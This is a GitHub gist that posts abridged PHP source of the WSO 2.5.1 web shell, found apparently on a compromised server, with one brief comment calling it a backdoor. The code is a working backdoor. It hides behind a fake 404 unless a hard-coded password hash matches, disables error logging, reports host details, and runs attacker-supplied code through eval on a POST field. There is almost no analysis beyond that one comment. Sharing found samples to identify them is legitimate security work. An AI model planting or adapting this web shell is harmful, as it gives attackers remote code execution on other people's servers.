Skip to content

Instantly share code, notes, and snippets.

@codesnik
Created January 7, 2015 18:29
Show Gist options
  • Save codesnik/82443fc1381baadd782d to your computer and use it in GitHub Desktop.
Save codesnik/82443fc1381baadd782d to your computer and use it in GitHub Desktop.
some obusfcated php exploit, probably
$auth_pass = "2849c39abc268e58daf4ab7497e2bfa5";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.5.1');
if(get_magic_quotes_gpc()) {
function WSOstripslashes($array) {
return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
}
$_POST = WSOstripslashes($_POST);
$_COOKIE = WSOstripslashes($_COOKIE);
}
function wsoLogin() {
header('HTTP/1.0 404 Not Found');
die("404");
}
function WSOsetcookie($k, $v) {
$_COOKIE[$k] = $v;
setcookie($k, $v);
}
if(!empty($auth_pass)) {
if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
wsoLogin();
}
function actionRC() {
if(!@$_POST['p1']) {
$a = array(
"uname" => php_uname(),
"php_version" => phpversion(),
"wso_version" => WSO_VERSION,
"safemode" => @ini_get('safe_mode')
);
echo serialize($a);
} else {
eval($_POST['p1']);
}
}
if( empty($_POST['a']) )
if(isset($default_action) && function_exists('action' . $default_action))
$_POST['a'] = $default_action;
else
$_POST['a'] = 'SecInfo';
if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
call_user_func('action' . $_POST['a']);
exit;
@igbanam
Copy link

igbanam commented Jan 26, 2016

I am guessing this is an abridged version of the code which hit your server.

In essence, it's a backdoor. It allows the attacker to do stuff like remote code execution, bruteforcing of servers, provide server information, and more!

@harry-wood
Copy link

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment